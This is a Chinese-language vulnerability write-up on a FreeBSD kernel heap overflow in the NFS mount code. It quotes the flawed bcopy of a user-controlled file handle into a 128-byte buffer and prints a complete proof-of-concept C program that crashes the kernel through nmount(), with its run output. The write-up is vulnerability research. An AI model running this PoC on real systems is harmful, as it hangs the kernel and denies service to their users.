|
Freebsd中的nfs_mount()函数中存在一个堆溢出漏洞, 同样是由Patroklos Argyroudis发现的。 static int nfs_mount(struct mount *mp, struct thread *td) { ... error = mountnfs(&args, mp, nam, args.hostname, &vp, td->td_ucred); ... }
static int mountnfs(struct nfs_args *argp, struct mount *mp, struct sockaddr *nam, char *hst, struct vnode **vpp, struct ucred *cred) { struct nfsmount *nmp; struct nfsnode *np; int error; struct vattr attrs;
if (mp->mnt_flag & MNT_UPDATE) { nmp = VFSTONFS(mp); /* update paths, file handles, etc, here XXX */ FREE(nam, M_SONAME); return (0); } else { /* 如果没设MNT_UPDATE标志, 就从UMA从分配一个nmp结构。*/ nmp = uma_zalloc(nfsmount_zone, M_WAITOK); bzero((caddr_t)nmp, sizeof (struct nfsmount)); TAILQ_INIT(&nmp->nm_bufq); mp->mnt_data = (qaddr_t)nmp; } ... /* argp->fh, argp->fhsize都是可以被用户控制的, 如果argp->fh的大小超过nmp->nm_fh 就会造成堆溢出。*/ bcopy((caddr_t)argp->fh, (caddr_t)nmp->nm_fh, argp->fhsize); ... }
/usr/src/sys/nfsclient/nfsmount.h: struct nfsmount { struct mtx nm_mtx; int nm_flag; /* Flags for soft/hard... */ int nm_state; /* Internal state flags */ struct mount *nm_mountp; /* Vfs structure for this filesystem */ int nm_numgrps; /* Max. size of groupslist */ u_char nm_fh[NFSX_V4FH]; /* File handle of root dir */ ... }
nfs/nfsproto.h: #define NFSX_V4FH 128
因此如果argp->fh大于128, 就会造成堆溢出。 看下poc是怎么写的
#include <sys/param.h> #include <sys/mount.h> #include <sys/uio.h> #include <err.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sysexits.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <errno.h>
/* 实际只要大于128个字节就能引发堆溢出 */ #define BUFSIZE 1024 #define FSNAME "nfs" #define DIRPATH "/tmp/nfs"
int main() {
struct iovec iov[8]; mkdir(DIRPATH, 0700);
iov[0].iov_base = "fstype"; iov[0].iov_len = strlen(iov[0].iov_base) + 1; iov[1].iov_base = FSNAME; iov[1].iov_len = strlen(iov[1].iov_base) + 1;
iov[2].iov_base = "fspath"; iov[2].iov_len = strlen(iov[2].iov_base) + 1; iov[3].iov_base = DIRPATH; iov[3].iov_len = strlen(iov[3].iov_base) + 1; iov[4].iov_base = "fh"; iov[4].iov_len = strlen(iov[4].iov_base) + 1; iov[5].iov_base = calloc(BUFSIZE, sizeof(char));
if(iov[5].iov_base == NULL) { perror("calloc"); rmdir(DIRPATH); exit(EXIT_FAILURE);
}
/* 填充垃圾数据 */ memset(iov[5].iov_base, 0x41, (BUFSIZE - 1));
iov[5].iov_len = BUFSIZE; iov[6].iov_base = "hostname"; iov[6].iov_len = strlen(iov[6].iov_base) + 1; iov[7].iov_base = "census-labs.com"; iov[7].iov_len = strlen(iov[7].iov_base) + 1;
printf("[*] calling nmount()\n"); if(nmount(iov, 8, 0) < 0) { fprintf(stderr, "[!] nmount error: %d\n", errno); perror("nmount"); rmdir(DIRPATH); free(iov[5].iov_base); exit(1);
}
printf("[*] unmounting and deleting %s\n", DIRPATH);
unmount(DIRPATH, 0); rmdir(DIRPATH); free(iov[5].iov_base);
return 0;
}
$ gcc -o exp mountnfsex.c $ ./exp [*] calling nmount() gcc编译执行后, 内核就挂起了。
|
|
|